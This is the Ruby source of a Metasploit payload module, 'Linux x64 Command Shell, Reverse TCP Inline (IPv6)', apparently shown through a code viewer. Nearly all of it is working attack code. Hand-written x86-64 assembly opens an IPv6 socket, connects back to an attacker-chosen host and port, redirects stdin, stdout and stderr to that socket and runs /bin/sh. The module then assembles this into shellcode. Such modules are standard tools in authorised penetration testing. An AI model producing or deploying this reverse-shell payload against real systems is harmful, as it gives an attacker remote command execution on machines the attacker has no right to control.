131 lines
4.6 KiB
Ruby
131 lines
4.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 90
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Linux
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Linux x64 Command Shell, Reverse TCP Inline (IPv6)',
|
|
'Description' => 'Connect back to attacker and spawn a command shell over IPv6',
|
|
'Author' => 'epi <epibar052[at]gmail.com>',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X64,
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
'Session' => Msf::Sessions::CommandShellUnix,
|
|
))
|
|
register_options([
|
|
OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
|
|
])
|
|
end
|
|
|
|
def convert_input(value, padding, reverse=false)
|
|
# converts value to comma separated string of
|
|
# zero-padded bytes to be used in the db instruction
|
|
arr = value.to_s(16).rjust(padding, "0").scan(/../)
|
|
|
|
if reverse
|
|
arr = arr.reverse
|
|
end
|
|
|
|
arr.map{ |x| sprintf("0x%02x", x.hex) }.join(',')
|
|
end
|
|
|
|
def generate(opts={})
|
|
# 22 -> "0x00,0x16"
|
|
# 4444 -> "0x11,0x5c"
|
|
tcp_port = convert_input(datastore['LPORT'], 4)
|
|
|
|
# 0 -> "0x00,0x00,0x00,0x00"
|
|
scope_id = convert_input(datastore['SCOPEID'], 8, true)
|
|
|
|
# ::1 -> "0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01"
|
|
# dead:beef:2::1009 -> "0xde,0xad,0xbe,0xef,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x09"
|
|
ipv6_addr = convert_input(IPAddr.new(datastore['LHOST'], Socket::AF_INET6).to_i, 32)
|
|
|
|
payload = <<-EOS
|
|
socket_call:
|
|
; int socket(int domain, int type, int protocol)
|
|
|
|
push 0x29
|
|
pop rax ; socket syscall
|
|
push 0xa
|
|
pop rdi ; AF_INET6
|
|
push 0x1
|
|
pop rsi ; SOCK_STREAM
|
|
xor edx,edx ; auto-select protocol
|
|
syscall
|
|
|
|
push rax
|
|
pop rdi ; store socket fd
|
|
jmp get_address ; jmp-call-pop
|
|
|
|
populate_sockaddr_in6:
|
|
; struct sockaddr_in6 {
|
|
; sa_family_t sin6_family; /* AF_INET6 */
|
|
; in_port_t sin6_port; /* port number */
|
|
; uint32_t sin6_flowinfo; /* IPv6 flow information */
|
|
; struct in6_addr sin6_addr; /* IPv6 address */
|
|
; uint32_t sin6_scope_id; /* Scope ID (new in 2.4) */
|
|
; };
|
|
|
|
; struct in6_addr {
|
|
; unsigned char s6_addr[16]; /* IPv6 address */
|
|
; };
|
|
|
|
pop rsi ; store pointer to struct
|
|
|
|
connect_call:
|
|
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
|
; rdi -> already contains server socket fd
|
|
; rsi -> already contains pointer to sockaddr_in6 struct
|
|
push 0x2a
|
|
pop rax ; connect syscall
|
|
push 0x1c
|
|
pop rdx ; length of sockaddr_in6 (28)
|
|
syscall
|
|
|
|
dup2_calls:
|
|
; int dup2(int oldfd, int newfd);
|
|
; rdi -> already contains server socket fd
|
|
push 0x3
|
|
pop rsi ; newfd
|
|
|
|
dup2_loop:
|
|
; 2 -> 1 -> 0 (3 iterations)
|
|
push 0x21
|
|
pop rax ; dup2 syscall
|
|
dec esi
|
|
syscall
|
|
loopnz dup2_loop
|
|
|
|
exec_call:
|
|
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
|
push 0x3b
|
|
pop rax ; execve call
|
|
cdq ; zero-out rdx via sign-extension
|
|
mov rbx, '/bin/sh'
|
|
push rbx
|
|
push rsp
|
|
pop rdi ; address of /bin/sh
|
|
syscall
|
|
|
|
get_address:
|
|
call populate_sockaddr_in6
|
|
; sin6_family(2), sin6_port(2), sin6_flowinfo(4), sockaddr_in6(16), sin6_scope_id(4)
|
|
db 0x0a,0x00,#{tcp_port},0x00,0x00,0x00,0x00,#{ipv6_addr},#{scope_id}
|
|
EOS
|
|
|
|
Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string
|
|
end
|
|
end
|